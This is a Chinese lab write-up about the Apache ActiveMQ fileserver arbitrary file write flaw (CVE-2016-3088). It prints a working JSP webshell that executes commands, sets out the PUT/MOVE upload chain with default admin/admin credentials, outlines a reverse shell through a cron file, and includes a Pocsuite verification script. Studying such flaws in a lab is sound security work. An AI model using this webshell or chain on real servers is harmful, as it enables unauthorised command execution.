
Vulhub漏洞系列:ActiveMQ任意文件寫入漏洞分析
一、ActiveMQ簡介:
Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件;由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行。
二、漏洞描述:
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:
1.其使用率并不高
2.文件操作容易出現漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。在測試過程中,可以關注ActiveMQ的版本,避免走彎路。
三、漏洞原理:
下載源碼進行分析,可以看到ActiveMQ 中的 FileServer 服務允許用戶通過 HTTP PUT 方法上傳文件到指定目錄,可以看到第二處的if相當于沒有對用戶身份進行校驗。
PUT方法調用如下函數之后,上傳到的目錄是在${activemq.home}/webapps/fileserver下,源代碼部分如下圖:
接下來看MOVE方法的源代碼中并沒有對移動的路徑進行限制
四、漏洞利用:
文件寫入有幾種利用方法:我們這里演示上傳webshell
1.寫入webshell
2.寫入cron或ssh key等文件
3.寫入jar或jetty.xml等庫和配置文件
webshell代碼
1 2 3 4 5 6 7 8 9 10 11 12 |
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> |
我們利用put方法進行任意文件的上傳
接下來我們訪問上傳文件查看是否上傳成功。
由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄并更改后綴為jsp。
可以解析jsp文件的路徑有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
這里有一個坑,困惑了我很久,我的方法步驟都沒有問題為什么MOVE方法會一直響應超時并且得不到任何響應的內容。嘗試了很久,我一度懷疑我的vulhub環境有問題,一次偶然中我用burp抓到的包去修改執行MOVE方法很快就得到了響應結果,神奇的是把這個數據包重新復制到repeater執行再次出現響應超時的結果,明明是兩個相同的數據包,真是令人費解,我只能歸結于MOVE方法在這里不太穩(ps:這是我從別的文章看到的)。
這個就是MOVE成功之后得到的響應內容。
接著我們訪問移動后的目錄看看結果。但是這里就出現了一個很雞肋的地方,就是要想訪問到我們的webshell必須是登錄之后才可以,因為/api,/admin這兩個路徑必須是登錄后才可以訪問但是move移動到這兩個路徑是不需要登錄的,好吧,我們輸入默認的弱口令admin/admin,登錄后看到了我們心心念念的webshell。
拿到了webshell,雖然它很雞肋但我們仍然要堅強的執行幾條命令去宣告我們的戰果。
我們簡單說一下其他的利用方法,寫入crontab,自動化彈shell,這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要n,不能是rn,否則crontab執行會失敗),接下來將其移動到/etc/cron.d/root,如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell,這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell。有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點。尚未測試。
五、Poc編寫:
這一部分我們根據漏洞的原理,既然MOVE方法不穩定那么就去驗證PUT是否可以執行成功,我在poc編寫部分用到了Pocsuite。
代碼如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
from pocsuite.net import req from pocsuite.poc import POCBase,Output from pocsuite.utils import register class ActiveMQPoc(POCBase): # 類名不用擔心重復 vulID = '002' # ssvid version = '1.0' author = ['xssle'] vulDate = '2019-09-07' createDate = '2019-09-07' updateDate = '2019-09-07' references = ['https://www.secpulse.com/archives/60064.html'] name = 'Apache ActiveMQ 任意文件寫入漏洞 (CVE-2016-3088)' appPowerLink = 'activemq.apache.org' appName = 'Apache activemq' appVersion = '版本小于 Apache ActiveMQ 5.14.0' vulType = 'Arbitrary File Reading' desc = ''' 本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp), 同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。 ''' pocDesc = ''' pocsuite -r ***.py -u target --verify" ''' samples = [] install_requires = [''] def _verify(self): result = {} path = "fileserver/poc.txt" url = self.url + '/' + path header = { "Accept": "*/*", "Accept-Language": "en", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection":"close", "Content-Length":"120976" } try: resp = req.put(url,header) resp1 = req.get(url,header) if resp.status_code == 204 and str(resp1.status_code)[0] in ('2','3') : result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url except Exception as ex: pass return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() register(ActiveMQPoc) |
代碼執行效果如下:
最后附上pocsuite官網地址:http://pocsuite.org/
如果可以的話我想把這個寫成系列文章,希望大家鼓勵。
【via@FreeBuf.COM】